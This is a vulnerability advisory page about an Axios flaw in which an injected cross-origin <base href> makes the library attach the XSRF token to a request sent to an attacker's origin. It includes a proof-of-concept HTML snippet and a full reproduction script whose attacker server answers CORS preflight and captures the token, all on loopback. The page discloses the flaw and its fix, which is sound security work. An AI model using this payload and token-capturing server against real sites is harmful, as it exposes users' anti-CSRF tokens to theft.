
Cloud Vulnerability DB
A community-led vulnerabilities database
Axios versions 1.7.8 through 1.20.0 may attach an XSRF token to a request that the browser sends to a different origin. This occurs in browser XHR and Fetch adapters when an attacker can introduce an effective cross-origin <base href> and the application makes a relative Axios request using the default XSRF behavior. Axios evaluates the relative URL against the page URL while the browser evaluates it against the document base URL. The mismatch can cause Axios to classify the destination as same-origin and add the XSRF header before the browser sends the request to the attacker-controlled origin.
A successful attack discloses the configured XSRF cookie value, commonly XSRF-TOKEN, through the configured request header, commonly X-XSRF-TOKEN. Exploitation requires all of the following:
The vulnerable flow is the default browser XSRF handling in:
resolveConfig adds the XSRF header when withXSRFToken is unset and isURLSameOrigin(newConfig.url) returns true. isURLSameOrigin resolves relative URLs with: new URL(url, platform.origin) platform.origin is initialized from window.location.href. The adapters then give the still-relative URL to XMLHttpRequest.open or new Request. The HTML standard defines a window's API base URL as its document's current base URL, and the first applicable <base href> determines that URL. Both XHR URL parsing and the Fetch Request constructor use that API base. Therefore, Axios and the browser can resolve the same relative string to different origins. Version 1.7.7 used a detached anchor owned by the document, which followed the document base. Commit 0a8d6e1 replaced it with the WHATWG URL constructor but supplied window.location.href as the base, introducing the mismatch. Fixed in 1.21.0, which resolves relative URLs against document.baseURI before the same-origin check.
Use two loopback origins:
<base href="http://localhost:8322/">
<script src="http://127.0.0.1:8321/axios-1.20.0.js"></script>
<script>
document.cookie = 'XSRF-TOKEN=local-xsrf-token; Path=/';
axios.get('/api/data');
</script>The reporter reproduced this in Chromium with normal CORS enforcement. Independent review using the released 1.7.7 and 1.7.8 bundles reproduced the same decision and dispatch matrix. A browser executable was unavailable for a second full Chromium run.
<details> <summary><h3>Original report</h3></summary>
affected: axios
>= 1.7.8— browser XHR/fetch adapters (lib/helpers/resolveConfig.js/lib/helpers/isURLSameOrigin.js) dynamically reproduced: axiosv1.19.0(8/8 checks),v1.7.8(8/8 checks, earliest affected), andHEADe6824ee(8/8 checks);v1.7.7confirmed NOT affected (token correctly withheld)
Source references (file:line) are to commit 311fcc5 (the v1.19.0 release tag).
Axios's default XSRF protection (withXSRFToken undefined) decides whether to attach the X-XSRF-TOKEN header by resolving the request URL against window.location.href (isURLSameOrigin), but the browser's XHR/fetch adapters hand the same relative URL string to the browser, which resolves it against the document base URL — a value that a <base href="…"> element can change. When an attacker injects a cross-origin <base> element into a victim page that then issues a relative request (e.g. axios.get('/api/data')), axios judges the request same-origin and attaches the anti-CSRF token, while the browser actually sends it to the attacker's origin — leaking the token (Medium, sensitive-data disclosure).
The same-origin decision and the actual dispatch use two different resolution bases for the same relative URL string:
resolveConfig attaches the token only when its same-origin check passes (lib/helpers/resolveConfig.js:90-93):const shouldSendXSRF =
withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}isURLSameOrigin resolves the relative URL against platform.origin, not against the browser's real base (lib/helpers/isURLSameOrigin.js:5):url = new URL(url, platform.origin);platform.origin is the document URL, not the document base URL (lib/platform/common/utils.js:44):const origin = (hasBrowserEnv && window.location.href) || 'http://localhost';document.baseURI (governed by the first <base href> element) (lib/adapters/xhr.js:37, lib/adapters/fetch.js:433):request.open(_config.method.toUpperCase(), _config.url, true); // xhr.js:37
// …
request = isRequestSupported && new Request(url, resolvedOptions); // fetch.js:433Because window.location.href and document.baseURI diverge whenever a cross-origin <base> is present, the two sides disagree: axios computes "same-origin" (token attached) while the browser computes "cross-origin" (token delivered to the attacker). withXSRFToken's default is undefined (null), so the vulnerable branch is the default behavior, not an opt-in.
The reproduction script below bundles axios from source (esbuild applies axios's own browser field remapping), serves a victim page at http://127.0.0.1:8321 and an attacker origin at http://localhost:8322 (a distinct origin on the same loopback), then drives real Chrome via Playwright with default security (no --disable-web-security, no CORS/CSP bypass). Scenario A (<base href="http://localhost:8322/"> present) leaks the token to the attacker; scenario B (no <base>) is the control; scenario C reruns A against a one-line-patched axios that resolves against document.baseURI and shows the leak disappears.
Scope note: run and reproduced on the released v1.19.0 (tag commit 311fcc5), on v1.7.8 (the earliest affected release), and on HEAD e6824ee. v1.7.7 was also dynamically run and confirmed not affected — it predates commit 0a8d6e1 ("fix: use URL API instead of DOM…", #6714), which first introduced new URL(url, platform.origin). Releases <= v1.7.7 resolve relative URLs via a detached <a> element (document.createElement('a')), whose base URL is document.baseURI, so they already agree with the browser and are not vulnerable. Intermediate releases (v1.8.0–v1.12.x) contain the identical vulnerable code path and were confirmed statically but not dynamically run.
Trimmed live transcript (v1.19.0, 8/8 checks):
# victim http://127.0.0.1:8321
# attacker http://localhost:8322
# --- scenario A: <base href> present, unpatched axios (attack) ---
# [attack] page status: ok:200
PASS attack: token leaked to attacker origin (http://localhost:8322)
PASS attack: victim did NOT receive the /api/data request
PASS attack: CORS preflight observed (security intact)
# --- scenario B: no <base>, unpatched axios (control) ---
# [control] page status: ok:200
PASS control: token stays on victim origin (same-origin, correct)
PASS control: attacker received nothing carrying the token
# --- scenario C: <base href> present, patched axios (baseline: no leak) ---
# [patched] page status: ok:200
PASS patched: token did NOT leak to attacker origin
PASS patched: request still reached attacker (base redirects), without token
PASS patched: no CORS preflight (no custom XSRF header was sent — correct)
# RESULT: 8 passed, 0 failedX-XSRF-TOKEN) is sent to an attacker-controlled origin.<base> element (HTML injection with base-uri not restricted by CSP), where the XSRF cookie is non-HttpOnly (required for axios to read it) and the app issues relative URLs with default withXSRFToken.<base href="http://attacker/"> element into the victim page (no script execution required); the attacker origin must answer the CORS preflight for the X-XSRF-TOKEN header. The victim must visit the page and trigger a relative request.lib/helpers/isURLSameOrigin.js, resolve the relative URL against document.baseURI instead of platform.origin (keeping the comparison origin as the page's own origin, new URL(platform.origin)):url = new URL(url, document.baseURI);<base>-redirected relative URL is correctly classified as cross-origin and the token is withheld (verified by scenario C above). Fixed in 1.21.0.node repro_xsrf-token-leak-via-base-element.mjs
# requires: AXIOS_REPO=<path to axios checkout>, `playwright` and `esbuild` in node_modules// Self-contained reproduction: axios attaches the XSRF token to a request that the
// browser then sends cross-origin because a <base href="http://localhost:..."> element
// changes the document base URL, while axios's same-origin check (isURLSameOrigin)
// resolves relative URLs against window.location.href.
//
// Normal browser security is kept intact: Chromium is launched by Playwright with
// default flags (no --disable-web-security, no CORS/CSP bypass). The cross-origin leak
// only succeeds because the attacker origin answers the CORS preflight.
//
// Prerequisites resolved by the caller:
// AXIOS_REPO path to the axios checkout (source of index.js/lib/...)
// esbuild + playwright are imported from node_modules adjacent to this script.
import { chromium } from 'playwright';
import * as esbuild from 'esbuild';
import http from 'node:http';
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import { fileURLToPath } from 'node:url';
const HERE = path.dirname(fileURLToPath(import.meta.url));
const AXIOS_REPO = process.env.AXIOS_REPO;
if (!AXIOS_REPO) {
console.error('ERROR: AXIOS_REPO environment variable must point to the axios checkout.');
process.exit(2);
}
if (!fs.existsSync(path.join(AXIOS_REPO, 'package.json'))) {
console.error(`ERROR: AXIOS_REPO does not look like an axios checkout: ${AXIOS_REPO}`);
process.exit(2);
}
const VICTIM_HOST = '127.0.0.1';
const VICTIM_PORT = 8321;
const ATTACKER_HOST = 'localhost';
const ATTACKER_PORT = 8322;
const ATTACKER_ORIGIN = `http://${ATTACKER_HOST}:${ATTACKER_PORT}`;
const XSRF_COOKIE_NAME = 'XSRF-TOKEN';
const XSRF_HEADER_NAME = 'X-XSRF-TOKEN';
const TOKEN = 'super-secret-xsrf-token';
let passed = 0;
let failed = 0;
function check(name, cond, detail = '') {
if (cond) {
passed++;
console.log(`PASS ${name}${detail ? ' — ' + detail : ''}`);
} else {
failed++;
console.log(`FAIL ${name}${detail ? ' — ' + detail : ''}`);
}
}
// ---------------------------------------------------------------------------
// Step 1: bundle axios (browser build) from the checkout source with esbuild.
// esbuild applies the package.json "browser" field (http.js -> null.js, node
// platform -> browser platform), the same remapping axios's own rollup build uses.
// The "patched" variant changes isURLSameOrigin to resolve the relative URL against
// document.baseURI (the browser's real resolution base) — a correct-behavior baseline.
// ---------------------------------------------------------------------------
async function bundleAxios({ patched }) {
const outfile = path.join(HERE, patched ? 'axios.patched.js' : 'axios.browser.js');
let entryDir = AXIOS_REPO;
let entryFile = path.join(AXIOS_REPO, 'lib', 'axios.js');
if (patched) {
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'axios-patched-'));
fs.cpSync(path.join(AXIOS_REPO, 'lib'), path.join(tmp, 'lib'), { recursive: true });
fs.cpSync(path.join(AXIOS_REPO, 'package.json'), path.join(tmp, 'package.json'));
const iso = path.join(tmp, 'lib', 'helpers', 'isURLSameOrigin.js');
let src = fs.readFileSync(iso, 'utf8');
if (!src.includes('new URL(url, platform.origin)')) {
throw new Error('expected isURLSameOrigin source not found');
}
src = src.replace('new URL(url, platform.origin)', 'new URL(url, document.baseURI)');
fs.writeFileSync(iso, src);
entryDir = tmp;
entryFile = path.join(tmp, 'lib', 'axios.js');
}
const entry = entryFile.replace(/\\/g, '/');
await esbuild.build({
absWorkingDir: entryDir,
stdin: {
contents: `import axios from ${JSON.stringify(entry)};\nglobalThis.axios = axios;\n`,
resolveDir: entryDir,
loader: 'js',
},
bundle: true,
platform: 'browser',
format: 'iife',
outfile,
logLevel: 'warning',
});
const built = fs.readFileSync(outfile, 'utf8');
if (/randomFillSync|node:http|node:crypto|require\("https"\)/.test(built)) {
throw new Error('browser bundle unexpectedly contains node builtins');
}
return outfile;
}
// ---------------------------------------------------------------------------
// Step 2: two local HTTP servers on two different origins.
// victim (127.0.0.1:8321) -> serves the page + axios bundle + /api/data
// attacker (localhost:8322)-> records requests, answers CORS preflight
// ---------------------------------------------------------------------------
function makeServer(name, bundleFiles) {
const requests = [];
const server = http.createServer((req, res) => {
const u = new URL(req.url, `http://${req.headers.host}`);
requests.push({
method: req.method,
url: req.url,
headers: { ...req.headers },
ts: Date.now(),
});
const pathname = u.pathname;
if (name === 'attacker') {
res.setHeader('Access-Control-Allow-Origin', '*');
if (req.method === 'OPTIONS') {
res.setHeader('Access-Control-Allow-Methods', 'GET, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', XSRF_HEADER_NAME.toLowerCase());
res.setHeader('Access-Control-Max-Age', '0');
res.writeHead(204);
res.end();
return;
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ attacker: true, got: req.headers[XSRF_HEADER_NAME.toLowerCase()] || null }));
return;
}
// victim
if (bundleFiles[pathname]) {
res.writeHead(200, { 'Content-Type': 'text/javascript' });
res.end(fs.readFileSync(bundleFiles[pathname]));
return;
}
if (pathname === '/api/data') {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ victim: true, got: req.headers[XSRF_HEADER_NAME.toLowerCase()] || null }));
return;
}
const page = u.searchParams.get('page') || 'control';
const baseTag =
page === 'attack' || page === 'patched' ? `<base href="${ATTACKER_ORIGIN}/">` : '';
const script = page === 'patched' ? '/axios.patched.js' : '/axios.js';
const html = `<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>victim</title>
${baseTag}
</head>
<body>
<div id="status">pending</div>
<script src="http://${VICTIM_HOST}:${VICTIM_PORT}${script}"></script>
<script>
(async () => {
try {
const res = await axios.get('/api/data');
document.getElementById('status').textContent = 'ok:' + res.status;
} catch (e) {
document.getElementById('status').textContent = 'err:' + (e && e.message ? e.message : e);
}
})();
</script>
</body>
</html>`;
res.setHeader('Content-Type', 'text/html; charset=utf-8');
res.setHeader('Set-Cookie', `${XSRF_COOKIE_NAME}=${TOKEN}; Path=/`);
res.writeHead(200);
res.end(html);
});
return { server, requests };
}
function listen(server, host, port) {
return new Promise((resolve, reject) => {
server.once('error', reject);
server.listen(port, host, () => resolve());
});
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
async function waitFor(fn, timeoutMs, what) {
const start = Date.now();
for (;;) {
const v = fn();
if (v) return v;
if (Date.now() - start > timeoutMs) throw new Error('timeout waiting for ' + what);
await sleep(50);
}
}
// ---------------------------------------------------------------------------
// main
// ---------------------------------------------------------------------------
const bundleFiles = {
'/axios.js': await bundleAxios({ patched: false }),
'/axios.patched.js': await bundleAxios({ patched: true }),
};
const victim = makeServer('victim', bundleFiles);
const attacker = makeServer('attacker', bundleFiles);
await listen(victim.server, VICTIM_HOST, VICTIM_PORT);
await listen(attacker.server, ATTACKER_HOST, ATTACKER_PORT);
console.log(`# victim http://${VICTIM_HOST}:${VICTIM_PORT}`);
console.log(`# attacker http://${ATTACKER_HOST}:${ATTACKER_PORT}`);
const browser = await chromium.launch({ channel: 'chrome', headless: true });
async function runPage(pageName, expectTokenAt) {
const context = await browser.newContext();
const page = await context.newPage();
const victimBefore = victim.requests.length;
const attackerBefore = attacker.requests.length;
try {
await page.goto(`http://${VICTIM_HOST}:${VICTIM_PORT}/?page=${pageName}`, { waitUntil: 'load' });
await waitFor(
() => page.evaluate(() => document.getElementById('status').textContent !== 'pending'),
5000,
`page status for ${pageName}`
);
const status = await page.evaluate(() => document.getElementById('status').textContent);
console.log(`# [${pageName}] page status: ${status}`);
} finally {
await context.close();
}
const victimHits = victim.requests.slice(victimBefore);
const attackerHits = attacker.requests.slice(attackerBefore);
const tokenAt = (hits) =>
hits.filter((r) => r.method === 'GET' && r.headers[XSRF_HEADER_NAME.toLowerCase()] === TOKEN);
const vTok = tokenAt(victimHits);
const aTok = tokenAt(attackerHits);
const preflight = attackerHits.some((r) => r.method === 'OPTIONS');
const attackerGotAnyGet = attackerHits.some((r) => r.method === 'GET');
if (expectTokenAt === 'attacker') {
check(`${pageName}: token leaked to attacker origin (${ATTACKER_ORIGIN})`, aTok.length >= 1);
check(`${pageName}: victim did NOT receive the /api/data request`, vTok.length === 0);
check(`${pageName}: CORS preflight observed (security intact)`, preflight);
} else if (expectTokenAt === 'victim') {
check(`${pageName}: token stays on victim origin (same-origin, correct)`, vTok.length >= 1);
check(`${pageName}: attacker received nothing carrying the token`, aTok.length === 0);
} else {
// patched baseline: base present but token must NOT leak
check(`${pageName}: token did NOT leak to attacker origin`, aTok.length === 0);
check(`${pageName}: request still reached attacker (base redirects), without token`, attackerGotAnyGet);
check(`${pageName}: no CORS preflight (no custom XSRF header was sent — correct)`, !preflight);
}
}
console.log('\n# --- scenario A: <base href> present, unpatched axios (attack) ---');
await runPage('attack', 'attacker');
console.log('\n# --- scenario B: no <base>, unpatched axios (control) ---');
await runPage('control', 'victim');
console.log('\n# --- scenario C: <base href> present, patched axios (baseline: no leak) ---');
await runPage('patched', 'none');
await browser.close();
victim.server.close();
attacker.server.close();
console.log(`\n# RESULT: ${passed} passed, ${failed} failed`);
process.exit(failed === 0 ? 0 : 1);</details>
Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."